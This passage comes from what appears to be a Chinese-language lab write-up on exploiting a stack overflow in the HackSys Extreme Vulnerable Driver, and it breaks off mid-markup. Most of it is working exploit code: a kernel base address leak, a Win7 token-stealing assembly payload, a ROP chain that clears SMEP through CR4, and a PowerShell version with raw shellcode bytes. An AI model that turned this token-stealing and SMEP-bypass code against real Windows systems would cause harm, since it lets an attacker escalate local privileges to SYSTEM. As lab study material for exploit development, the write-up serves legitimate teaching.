class="title function_">EnumDeviceDrivers</span><span class="params">(</span></span><br><span class="line"><span class="params">  LPVOID  *lpImageBase,</span></span><br><span class="line"><span class="params">  DWORD   cb,</span></span><br><span class="line"><span class="params">  LPDWORD lpcbNeeded</span></span><br><span class="line"><span class="params">)</span>;</span><br></pre></td></tr></table></figure><p>并且据观察，返回的地址数组中<code>lpImageBase</code>，第一个就是<code>ntoskrl.exe</code>的基地址。不过使用这个方法的时候，需要用到管理员权限。<br>这里打算用第一种方法实现地址泄露，第二种攻击方法参考(<a href="https://www.anquanke.com/post/id/173144">https://www.anquanke.com/post/id/173144</a>)[<a href="https://www.anquanke.com/post/id/173144">https://www.anquanke.com/post/id/173144</a>]，贴出用<code>NtQueryInformationSystem</code>的exp:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">enum</span> _<span class="title">SYSTEM_INFORMATION_CLASS</span> &#123;</span></span><br><span class="line">    SystemBasicInformation = <span class="number">0</span>,</span><br><span class="line">    SystemPerformanceInformation = <span class="number">2</span>,</span><br><span class="line">    SystemTimeOfDayInformation = <span class="number">3</span>,</span><br><span class="line">    SystemProcessInformation = <span class="number">5</span>,</span><br><span class="line">    SystemProcessorPerformanceInformation = <span class="number">8</span>,</span><br><span class="line">    SystemModuleInformation = <span class="number">11</span>,</span><br><span class="line">    SystemInterruptInformation = <span class="number">23</span>,</span><br><span class="line">    SystemExceptionInformation = <span class="number">33</span>,</span><br><span class="line">    SystemRegistryQuotaInformation = <span class="number">37</span>,</span><br><span class="line">    SystemLookasideInformation = <span class="number">45</span></span><br><span class="line">&#125; SYSTEM_INFORMATION_CLASS;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">SYSTEM_MODULE_INFORMATION_ENTRY</span> &#123;</span></span><br><span class="line">    HANDLE Section;</span><br><span class="line">    PVOID MappedBase;</span><br><span class="line">    PVOID ImageBase;</span><br><span class="line">    ULONG ImageSize;</span><br><span class="line">    ULONG Flags;</span><br><span class="line">    USHORT LoadOrderIndex;</span><br><span class="line">    USHORT InitOrderIndex;</span><br><span class="line">    USHORT LoadCount;</span><br><span class="line">    USHORT OffsetToFileName;</span><br><span class="line">    UCHAR FullPathName[<span class="number">256</span>];</span><br><span class="line">&#125; SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">SYSTEM_MODULE_INFORMATION</span> &#123;</span></span><br><span class="line">    ULONG NumberOfModules;</span><br><span class="line">    SYSTEM_MODULE_INFORMATION_ENTRY Module[<span class="number">1</span>];</span><br><span class="line">&#125; SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">ROP</span> &#123;</span></span><br><span class="line">    PUCHAR PopRcxRet;</span><br><span class="line">    PUCHAR Cr4RegValue;</span><br><span class="line">    PUCHAR MovCr4EcxRet;</span><br><span class="line">&#125; ROP, *PROP;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="title function_">NTSTATUS</span><span class="params">(NTAPI *_NtQuerySystemInformation)</span><span class="params">(</span></span><br><span class="line"><span class="params">    SYSTEM_INFORMATION_CLASS SystemInformationClass,</span></span><br><span class="line"><span class="params">    PVOID SystemInformation,</span></span><br><span class="line"><span class="params">    ULONG SystemInformationLength,</span></span><br><span class="line"><span class="params">    PULONG ReturnLength</span></span><br><span class="line"><span class="params">    )</span>;</span><br><span class="line"></span><br><span class="line">__int64* <span class="title function_">GetKernelBase</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    DWORD len;</span><br><span class="line">    PSYSTEM_MODULE_INFORMATION ModuleInfo;</span><br><span class="line">    __int64 *kernelBase = <span class="literal">NULL</span>;</span><br><span class="line">    _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)</span><br><span class="line">        GetProcAddress(GetModuleHandle(<span class="string">&quot;ntdll.dll&quot;</span>), <span class="string">&quot;NtQuerySystemInformation&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (NtQuerySystemInformation == <span class="literal">NULL</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    NtQuerySystemInformation(SystemModuleInformation, <span class="literal">NULL</span>, <span class="number">0</span>, &amp;len);</span><br><span class="line">    ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(<span class="literal">NULL</span>, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);</span><br><span class="line">    <span class="keyword">if</span> (!ModuleInfo)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &amp;len);</span><br><span class="line">    kernelBase = (__int64*)ModuleInfo-&gt;Module[<span class="number">0</span>].ImageBase;</span><br><span class="line">    VirtualFree(ModuleInfo, <span class="number">0</span>, MEM_RELEASE);</span><br><span class="line">    <span class="keyword">return</span> kernelBase;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>回到正文，此时代码修改如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br></pre></td><td class="code"><pre><span class="line">VOID <span class="title function_">TokenStealingPayloadWin7</span><span class="params">()</span> &#123;</span><br><span class="line"><span class="comment">// Importance of Kernel Recovery</span></span><br><span class="line">__asm &#123;</span><br><span class="line">pushad; Save registers state</span><br><span class="line"></span><br><span class="line">; Start of Token Stealing Stub</span><br><span class="line">xor eax, eax; Set ZERO</span><br><span class="line">mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread</span><br><span class="line">; _KTHREAD is located at FS : [<span class="number">0x124</span>]</span><br><span class="line"></span><br><span class="line">mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process</span><br><span class="line"></span><br><span class="line">mov ecx, eax; Copy current process _EPROCESS structure</span><br><span class="line"></span><br><span class="line">mov edx, SYSTEM_PID; WIN <span class="number">7</span> SP1 SYSTEM process PID = <span class="number">0x4</span></span><br><span class="line"></span><br><span class="line">SearchSystemPID:</span><br><span class="line">mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink</span><br><span class="line">sub eax, FLINK_OFFSET</span><br><span class="line">cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId</span><br><span class="line">jne SearchSystemPID</span><br><span class="line"></span><br><span class="line">mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token</span><br><span class="line">mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token</span><br><span class="line">; with SYSTEM process nt!_EPROCESS.Token</span><br><span class="line">; End of Token Stealing Stub</span><br><span class="line"></span><br><span class="line">popad; Restore registers state</span><br><span class="line"></span><br><span class="line">; Kernel Recovery Stub</span><br><span class="line">xor eax, eax; Set NTSTATUS SUCCEESS</span><br><span class="line">add esp, <span class="number">0x1c</span>; Fix the <span class="built_in">stack</span></span><br><span class="line">pop ebp; Restore saved EBP</span><br><span class="line">ret <span class="number">8</span>; Return cleanly</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// Just Communicate with Driver</span></span><br><span class="line">VOID <span class="title function_">TriggerStackOverFlow</span><span class="params">(DWORD dwCTLCode)</span> &#123;</span><br><span class="line">HANDLE hDev = GetDeviceHandle();</span><br><span class="line"><span class="keyword">if</span> (!hDev)</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">cout</span> &lt;&lt; <span class="string">&quot;We Get handle is :&quot;</span> &lt;&lt; <span class="built_in">std</span>::hex &lt;&lt; hDev &lt;&lt; <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line">DWORD dwSize = <span class="number">0x824</span> + <span class="number">0x4</span><span class="comment">/*pop ecx*/</span>+ <span class="number">0x4</span> * <span class="number">2</span><span class="comment">/*padding for esp*/</span>+ <span class="number">0x4</span><span class="comment">/*ecx real value*/</span> + <span class="number">0x4</span><span class="comment">/*mov cr4 */</span>;</span><br><span class="line">DWORD dwRetSize = <span class="number">0</span>;</span><br><span class="line">PVOID ExpAddress = &amp;TokenStealingPayloadWin7;</span><br><span class="line">PVOID RetAddress = <span class="literal">NULL</span>;</span><br><span class="line">CHAR *Buffer = (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);</span><br><span class="line"></span><br><span class="line"><span class="comment">// prepare ROP</span></span><br><span class="line">DWORD dwBaseAddress = LeakNtoskrlBaseAddr();</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">cout</span> &lt;&lt; <span class="string">&quot;Leak Device Address &quot;</span> &lt;&lt; <span class="built_in">std</span>::hex &lt;&lt; dwBaseAddress &lt;&lt; <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// get ROP address</span></span><br><span class="line">DWORD dwSegBaseAddr = <span class="number">0x00401000</span>;</span><br><span class="line">DWORD dwSegOffset = <span class="number">0x1000</span>;</span><br><span class="line">DWORD dwRealPOPECX, dwBasePOPEAX = <span class="number">0x0048BF1D</span>;</span><br><span class="line">DWORD dwRealMOVCR4, dwBaseMOVCR4 = <span class="number">0x0057DF86</span>;</span><br><span class="line">dwRealMOVCR4 = dwBaseMOVCR4 - dwSegBaseAddr + dwBaseAddress + dwSegOffset;</span><br><span class="line">dwRealPOPECX = dwBasePOPEAX - dwSegBaseAddr + dwBaseAddress + dwSegOffset;</span><br><span class="line"></span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">cout</span> &lt;&lt; <span class="string">&quot;[+] pop ecx is &quot;</span> &lt;&lt; <span class="built_in">std</span>::hex &lt;&lt; dwRealPOPECX &lt;&lt; <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">cout</span> &lt;&lt; <span class="string">&quot;[+&#125; mov cr4 is &quot;</span> &lt;&lt; <span class="built_in">std</span>::hex &lt;&lt; dwRealMOVCR4 &lt;&lt; <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[+] Begin to attack&quot;</span>);</span><br><span class="line">getchar();</span><br><span class="line"><span class="comment">// write it to attack buffer</span></span><br><span class="line">RtlFillMemory(Buffer, dwSize, <span class="string">&#x27;A&#x27;</span>);</span><br><span class="line">RetAddress = &amp;Buffer[<span class="number">0x820</span>];</span><br><span class="line">*(PULONG)RetAddress = (ULONG)dwRealPOPECX;</span><br><span class="line">RetAddress = &amp;Buffer[<span class="number">0x82c</span>];</span><br><span class="line">*(PULONG)RetAddress = (ULONG)<span class="number">0x406e9</span>;</span><br><span class="line">RetAddress = &amp;Buffer[<span class="number">0x830</span>];</span><br><span class="line">*(PULONG)RetAddress = (ULONG)dwRealMOVCR4;</span><br><span class="line">RetAddress = &amp;Buffer[<span class="number">0x834</span>];</span><br><span class="line">*(PULONG)RetAddress = (ULONG)ExpAddress;</span><br><span class="line"></span><br><span class="line">OutputDebugString(<span class="string">L&quot;[+]  =========== Kernel Mode  =============== [+]&quot;</span>);</span><br><span class="line">DeviceIoControl(hDev, dwCTLCode, Buffer, dwSize, <span class="literal">NULL</span>, <span class="number">0</span>, &amp;dwRetSize, <span class="literal">NULL</span>);</span><br><span class="line">OutputDebugString(<span class="string">L&quot;[+]  =========== IOCTL Finish =============== [+]&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">cout</span> &lt;&lt; <span class="string">&quot;Finish Send IOCTL&quot;</span> &lt;&lt; <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line">HeapFree(GetProcessHeap(), <span class="number">0</span>, Buffer);</span><br><span class="line">Buffer = <span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>不过这里由于引入了ROP，这里需要重新讨论一下栈的地址。<br>此时<code>-&gt;</code>指向的是之后会修改成的内容。由于加入了ROP，导致原先利用的返回值会被覆盖掉，所以这里需要重新调整返回值，让esp在调用exp的地址后，加上<strong>0x1c</strong>，让其跳转到<code>nt!IofCallDriver</code>的返回值，从而恢复调用栈。</p><h4 id="powershell版本">Powershell版本</h4><p>本质上差不多，不过这边使用的是Powershell下的编程:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Add-Type</span> <span class="literal">-TypeDefinition</span> <span class="string">@&quot;</span></span><br><span class="line"><span class="string">using System;</span></span><br><span class="line"><span class="string">using System.Diagnostics;</span></span><br><span class="line"><span class="string">using System.Runtime.InteropServices;</span></span><br><span class="line"><span class="string">using System.Security.Principal;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">public static class EVD2</span></span><br><span class="line"><span class="string">&#123;</span></span><br><span class="line"><span class="string">    [DllImport(&quot;kernel32.dll&quot;, SetLastError=true)]</span></span><br><span class="line"><span class="string">    public static extern IntPtr VirtualAlloc(</span></span><br><span class="line"><span class="string">        IntPtr ptrAddress,</span></span><br><span class="line"><span class="string">        uint dwSize,</span></span><br><span class="line"><span class="string">        UInt32 AllocationType,</span></span><br><span class="line"><span class="string">        UInt32 Protext</span></span><br><span class="line"><span class="string">    );</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    [DllImport(&quot;kernel32.dll&quot;, CharSet=CharSet.Auto, SetLastError=true)]</span></span><br><span class="line"><span class="string">    public static extern IntPtr CreateFile(</span></span><br><span class="line"><span class="string">        String lpFileName,</span></span><br><span class="line"><span class="string">        UInt32 dwDesireAccess,</span></span><br><span class="line"><span class="string">        UInt32 dwSharingMode,</span></span><br><span class="line"><span class="string">        IntPtr lpSecurityAttributes,</span></span><br><span class="line"><span class="string">        UInt32 dwCreationDisposition,</span></span><br><span class="line"><span class="string">        UInt32 dwFlagsAndAttributes,</span></span><br><span class="line"><span class="string">        IntPtr hTemplateFile</span></span><br><span class="line"><span class="string">    );</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    [DllImport(&quot;Kernel32.dll&quot;, SetLastError = true)]</span></span><br><span class="line"><span class="string">    public static extern bool DeviceIoControl(</span></span><br><span class="line"><span class="string">        IntPtr hDevice,</span></span><br><span class="line"><span class="string">        int IoControlCode,</span></span><br><span class="line"><span class="string">        byte[] InBuffer,</span></span><br><span class="line"><span class="string">        int nInBufferSize,</span></span><br><span class="line"><span class="string">        byte[] OutBuffer,</span></span><br><span class="line"><span class="string">        int nOutBufferSize,</span></span><br><span class="line"><span class="string">        ref int pBytesReturned,</span></span><br><span class="line"><span class="string">        IntPtr Overlapped); </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    [DllImport(&quot;kernel32.dll&quot;)]</span></span><br><span class="line"><span class="string">    public static extern uint GetLastError();</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    [DllImport(&quot;psapi&quot;)]</span></span><br><span class="line"><span class="string">    public static extern bool EnumDeviceDrivers(</span></span><br><span class="line"><span class="string">        [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] UInt32[] ddAddresses,</span></span><br><span class="line"><span class="string">        UInt32 arraySizeBytes,</span></span><br><span class="line"><span class="string">        [MarshalAs(UnmanagedType.U4)] out UInt32 bytesNeeded</span></span><br><span class="line"><span class="string">    );</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&quot;@</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">Function</span> <span class="title">LeakBaseAddress</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="variable">$dwByte</span> = <span class="number">0</span></span><br><span class="line">    <span class="variable">$status</span>=[<span class="built_in">bool</span>] [<span class="type">EVD2</span>]::EnumDeviceDrivers(<span class="number">0</span>, <span class="number">0</span>, [<span class="type">ref</span>]<span class="variable">$dwByte</span>)</span><br><span class="line">    <span class="keyword">if</span>(!<span class="variable">$status</span>)&#123;</span><br><span class="line">        <span class="built_in">echo</span> <span class="variable">$</span>(<span class="string">&quot;[*] Unable to enum device.... with error 0x&#123;0:x&#125;`n&quot;</span> <span class="operator">-f</span> [<span class="type">EVD2</span>]::GetLastError())</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="variable">$ptrAddress</span> = [<span class="type">Uint32</span>[]](<span class="number">9</span>)*<span class="number">0</span>x1000</span><br><span class="line">    <span class="variable">$status</span>=[<span class="built_in">bool</span>] [<span class="type">EVD2</span>]::EnumDeviceDrivers([<span class="type">UInt32</span>[]]<span class="variable">$ptrAddress</span>, <span class="variable">$dwByte</span>+<span class="number">10</span>, [<span class="type">ref</span>]<span class="variable">$dwByte</span>)</span><br><span class="line">    <span class="comment"># echo $(&quot;Address is &#123;0:x&#125;&quot; -f $ptrAddress[0])</span></span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$ptrAddress</span>[<span class="number">0</span>]</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$hDevice</span> = [<span class="type">EVD2</span>]::CreateFile(<span class="string">&quot;\\.\HackSysExtremeVulnerableDriver&quot;</span>, [<span class="type">System.IO.FileAccess</span>]::ReadWrite,[<span class="type">System.IO.FileShare</span>]::ReadWrite, [<span class="type">System.IntPtr</span>]::Zero, <span class="number">0</span>x3, <span class="number">0</span>x40000080, [<span class="type">System.IntPtr</span>]::Zero)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$hDevice</span> <span class="operator">-eq</span> <span class="literal">-1</span>)&#123;</span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;`n[*] Unbale to open this driver...`n&quot;</span></span><br><span class="line">    <span class="keyword">Return</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;`[+] The Device object is <span class="variable">$</span>(<span class="variable">$hDevice</span>) &quot;</span></span><br><span class="line"><span class="comment"># then we need create an array with buffer</span></span><br><span class="line">[<span class="built_in">Int</span><span class="type">32</span>]<span class="variable">$dwSize</span> = <span class="number">0</span>x820</span><br><span class="line"><span class="comment"># +0x4+0x8+0x4+0x4</span></span><br><span class="line"><span class="comment"># alloc buffer for shellcode</span></span><br><span class="line"><span class="variable">$Shellcode</span> = [<span class="built_in">Byte</span>[]] <span class="selector-tag">@</span>(</span><br><span class="line">    <span class="comment">#---[Setup]</span></span><br><span class="line">    <span class="number">0</span>x53,                                       <span class="comment"># push    ebx</span></span><br><span class="line">    <span class="number">0</span>x56,                                       <span class="comment"># push    esi</span></span><br><span class="line">    <span class="number">0</span>x57,                                       <span class="comment"># push    edi</span></span><br><span class="line">    <span class="number">0</span>x60,                                       <span class="comment"># pushad</span></span><br><span class="line">    <span class="number">0</span>x33, <span class="number">0</span>xC0,                                 <span class="comment"># xor eax, eax</span></span><br><span class="line">    <span class="number">0</span>x64, <span class="number">0</span>x8B, <span class="number">0</span>x80, <span class="number">0</span>x24, <span class="number">0</span>x01, <span class="number">0</span>x00, <span class="number">0</span>x00,   <span class="comment"># mov eax, fs:[KTHREAD_OFFSET]</span></span><br><span class="line">    <span class="number">0</span>x8B, <span class="number">0</span>x80, <span class="number">0</span>x80, <span class="number">0</span>x00, <span class="number">0</span>x00, <span class="number">0</span>x00,         <span class="comment"># mov eax, [eax + EPROCESS_OFFSET]</span></span><br><span class="line">    <span class="number">0</span>x8B, <span class="number">0</span>xC8,                                 <span class="comment"># mov ecx, eax (Current _EPROCESS structure)</span></span><br><span class="line">    <span class="comment"># 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]</span></span><br><span class="line">    <span class="comment">#---[Copy System PID token]</span></span><br><span class="line">    <span class="number">0</span>xBA, <span class="number">0</span>x04, <span class="number">0</span>x00, <span class="number">0</span>x00, <span class="number">0</span>x00,       <span class="comment"># mov edx, 4 (SYSTEM PID)</span></span><br><span class="line">    <span class="number">0</span>x8B, <span class="number">0</span>x80, <span class="number">0</span>xB8, <span class="number">0</span>x00, <span class="number">0</span>x00, <span class="number">0</span>x00, <span class="comment"># mov eax, [eax + FLINK_OFFSET] &lt;-|</span></span><br><span class="line">    <span class="number">0</span>x2D, <span class="number">0</span>xB8, <span class="number">0</span>x00, <span class="number">0</span>x00, <span class="number">0</span>x00,       <span class="comment"># sub eax, FLINK_OFFSET           |</span></span><br><span class="line">    <span class="number">0</span>x39, <span class="number">0</span>x90, <span class="number">0</span>xB4, <span class="number">0</span>x00, <span class="number">0</span>x00, <span class="number">0</span>x00, <span class="comment"># cmp [eax + PID_OFFSET], edx     |</span></span><br><span class="line">    <span class="number">0</span>x75, <span class="number">0</span>xED,                         <span class="comment"># jnz                           -&gt;|</span></span><br><span class="line">    <span class="number">0</span>x8B, <span class="number">0</span>x90, <span class="number">0</span>xFC, <span class="number">0</span>x00, <span class="number">0</span>x00, <span class="number">0</span>x00, <span class="comment"># mov edx, [eax + TOKEN_OFFSET]</span></span><br><span class="line">    <span class="number">0</span>x89, <span class="number">0</span>x91, <span class="number">0</span>xFC, <span class="number">0</span>x00, <span class="number">0</span>x00, <span class="number">0</span>x00, <span class="comment"># mov [ecx + TOKEN_OFFSET], edx</span></span><br><span class="line">    <span class="comment">#---[Recover]</span></span><br><span class="line">    <span class="number">0</span>x61,                               <span class="comment"># popad</span></span><br><span class="line">    <span class="number">0</span>x33, <span class="number">0</span>xC0,                         <span class="comment"># NTSTATUS -&gt; STATUS_SUCCESS :p</span></span><br><span class="line">    <span class="number">0</span>x83, <span class="number">0</span>xc4, <span class="number">0</span>x1c,                   <span class="comment"># add esp, 1ch</span></span><br><span class="line">    <span class="number">0</span>x5D,                               <span class="comment"># pop ebp</span></span><br><span class="line">    <span class="number">0</span>xC2, <span class="number">0</span>x08, <span class="number">0</span>x00                    <span class="comment"># ret 8</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">[<span class="built_in">Int</span><span class="type">Ptr</span>]<span class="variable">$Pointer</span> = [<span class="type">EVD2</span>]::VirtualAlloc([<span class="type">System.IntPtr</span>]::Zero, <span class="variable">$Shellcode</span>.Length, <span class="number">0</span>x3000, <span class="number">0</span>x40)</span><br><span class="line">[<span class="type">System.Runtime.InteropServices.Marshal</span>]::<span class="built_in">Copy</span>(<span class="variable">$Shellcode</span>, <span class="number">0</span>, <span class="variable">$Pointer</span>, <span class="variable">$Shellcode</span>.Length)</span><br><span class="line"><span class="variable">$EIP</span> = [<span class="type">System.BitConverter</span>]::GetBytes(<span class="variable">$Pointer</span>.ToInt32())</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;[+] Payload size: <span class="variable">$</span>(<span class="variable">$Shellcode</span>.Length)&quot;</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;[+] Payload address: <span class="variable">$</span>(&quot;</span>&#123;<span class="number">0</span>:X8&#125;<span class="string">&quot; -f <span class="variable">$Pointer</span>.ToInt32())&quot;</span></span><br><span class="line"> </span><br><span class="line"><span class="variable">$leakAddress</span> = LeakBaseAddress</span><br><span class="line"><span class="built_in">echo</span> <span class="variable">$</span>(<span class="string">&quot;Address is &#123;0:x&#125;&quot;</span> <span class="operator">-f</span> <span class="variable">$leakAddress</span>)</span><br><span 